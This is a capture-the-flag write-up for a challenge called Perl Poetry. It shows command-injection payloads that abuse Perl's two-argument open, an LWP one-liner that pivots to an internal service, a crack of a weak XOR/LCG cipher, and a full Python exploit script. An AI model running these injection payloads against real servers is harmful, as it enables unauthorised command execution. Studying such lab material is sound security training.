Flash CTF – Perl Poetry

Challenge Overview

This challenge presents a basic Perl web application with an RCE vulnerability, pivoting to an internal web app containing the flag.

Initial Reconnaissance

Challengers are given the source code of the challenge, providing the code running the front-facing site.

Vulnerability Discovery – Site

Challengers can find the following within main.pl:

                open(my $fh, $abs_path) or do {
                    _http_error($c, RC_INTERNAL_SERVER_ERROR);
                    next;
                };
                binmode $fh;
                my $content = do { local $/; <$fh> };
                close $fh;

Given this code, whenever a user creates a web request it will statically open the requested resource on the serverside. While LFI is accounted for earlier in the program, the true issue lies in the open function.

Perl supports a legacy form of the open function that will take both the mode and the filename as a single argument. This functionality uses the two-parameter form of the function as opposed to the recommended three-parameter. The “mode” function typically gets appended to the command used to open the file, so giving the user the ability to set this value arbitrarily would allow the user to inject a system command to be run.

Exploitation Strategy – Site

Challengers can use a crafted exploit, such as the following, in order to run arbitrary commands.

http://localhost:3000/x%0aid%7c

From this point, users will find the Vault instance running on the local port 5000. Though multiple commands such as wget and curl are unavailable on the target instance, crafty hackers will find their own creative way to proceed. The challenge developer used the following payload:

http://localhost:3000/%0Aperl%20-MLWP::Simple%20-e%20'getprint(%22http:%22.chr(47).chr(47).%22localhost:5000/%22)'%7C

This will return the web page referenced by the script vault.pl found on the server.

Exploitation Strategy – Vault

Challengers will be given a list of file names with their respective encrypted contents. Based on vault.pl, attackers will find that the encryption is produced by the ReindeerGenerator module, using a key derived from ElfOnShelf.

Viewing the file referenced by the secret_key_extractor function, /static/krampus.png, users will find the following data appended to the file

dmFsaWRfc2VydmljZV9ob2hvaG8=

This Base64 encoded data decodes to the string valid_service_hohoho. It can be assumed that this is the data derived from the image for use as the key.

The following is the encrypt_file function provided in the main vault script.

sub encrypt_file {
	my ($filepath, $seed) = @_;
	
	open my $fh, '<:raw', $filepath or die "Cannot open file: $!";
	my $content = do { local $/; <$fh> };
	close $fh;

	my $rng = generate_num($seed);
	my @bytes = unpack('C*', $content);
	my @encrypted_bytes;

	foreach my $byte (@bytes) {
		my $rand_val = $rng->() % 256;
		push @encrypted_bytes, $byte ^ $rand_val;
	}

	my $reindeer_encrypted = pack("C*", @encrypted_bytes);
	
	# Extra check for extra safety
	my $secret_key = secret_key_extractor("./public/static/krampus.png");
	
	#if ($integrity_key)
	
	my @secret_bytes = unpack("C*", $secret_key);
	my @final_encrypted;

	for (my $i = 0; $i < @encrypted_bytes; $i++){
		my $key_byte = $secret_bytes[$i % @secret_bytes];
	        push @final_encrypted, $encrypted_bytes[$i] ^ $key_byte;	
	}

	return pack("C*", @final_encrypted);	
}

As we’re reversing the encryption, we’ll start at the end.

# Extra check for extra safety
	my $secret_key = secret_key_extractor("./public/static/krampus.png");
	
	#if ($integrity_key)
	
	my @secret_bytes = unpack("C*", $secret_key);
	my @final_encrypted;

	for (my $i = 0; $i < @encrypted_bytes; $i++){
		my $key_byte = $secret_bytes[$i % @secret_bytes];
	        push @final_encrypted, $encrypted_bytes[$i] ^ $key_byte;	
	}

	return pack("C*", @final_encrypted);	

The value extracted from krampus.png, which we previously found to be valid_service_hohoho, is XOR’d against the encrypted bytes in order to produce the final encrypted text. Since XOR works from an associative property, the original value of encrypted_bytes can be recovered.

my $rng = generate_num($seed, 256);
	my @bytes = unpack('C*', $content);
	my @encrypted_bytes;

	foreach my $byte (@bytes) {
		my $rand_val = $rng->() % 256;
		push @encrypted_bytes, $byte ^ $rand_val;
	}

	my $reindeer_encrypted = pack("C*", @encrypted_bytes);

The reindeer function is the first encryption function that acts on the file’s data. While it is more mysterious on how it works, small hints can be found around it. For example, it’s a random number generator that takes both a seed and a secondary number. Based on common CTF experience, it can be guessed that a Linear Congruential Generator is being used to generate random values to XOR against the file content.

Attackers can crack the unknown parameters of the LCG with seven consecutive generations of the RNG. Since we know that the first 8 characters of the flag will be MetaCTF{, we can use XOR to find the first 8 generated values from the LCG, and from that point use lattice reduction to find the original parameters. Using this attack, challengers will find the value 9 being used as the multiplier, with an increment of 0.

To find the seed, users will have to look no further than the http_child function of vault.pl

                    my $encrypted_content = eval {
                        my $seed = unpack('N', substr($file . '0' x 4, 0, 4)) || 12345;
                        encrypt_file($filepath, $seed);
                    };

This code takes the first four bytes of the filename, appending ‘0000’ in case the filename is less than four, then sets the seed as either the 32-bit integer representation of this, or 12345 in case of error.

Given this information, attackers will be able to first XOR the encrypted data by the static key found in krampus.png, then reversing the bytes generated using ReindeerGenerator by using the derived values, and finally using XOR with those values to find the original file contents.

Complete Exploit Code

import requests
import base64
from bs4 import BeautifulSoup
from pwn import xor
from Crypto.Util.number import bytes_to_long

url = input("Whats the url?: ")

accessUrl = lambda x : requests.get(f"{url}/%0Aperl%20-MLWP::Simple%20-e%20'getprint(%22http:%22.chr(47).chr(47).%22localhost:5000/{x}%22)'%7C").content

krampusImage = accessUrl("static/krampus.png")
SECRET_KEY = base64.b64decode(krampusImage[-29:].strip())

mainPage = accessUrl("")
soup = BeautifulSoup(mainPage, 'html.parser')
flagFileName = soup.find('h3', string=lambda text: text and "flag" in text)
fileEnc = flagFileName.find_next_sibling('p').find_next_sibling('p').string
encFileName = flagFileName.string

class LCG:
    def __init__(self, seed):
        self.seed = seed
    def next(self):
        self.seed = (9 * self.seed) % 256
        return self.seed

def decrypt_file(fileEnc, seed):
    fileEnc = bytes.fromhex(fileEnc)
    decrypted = xor(fileEnc, SECRET_KEY)

    reindeerInst = LCG(seed)
    decrypted2 = b''
    for j in range(len(fileEnc)):
        decrypted2 += xor(decrypted[j], bytes([reindeerInst.next()]))
    if b'MetaCTF' in decrypted2:
        return decrypted2

seedVal = bytes_to_long(encFileName[:4].encode())
decryptedFile = decrypt_file(fileEnc, seedVal)

print(decryptedFile.strip().decode())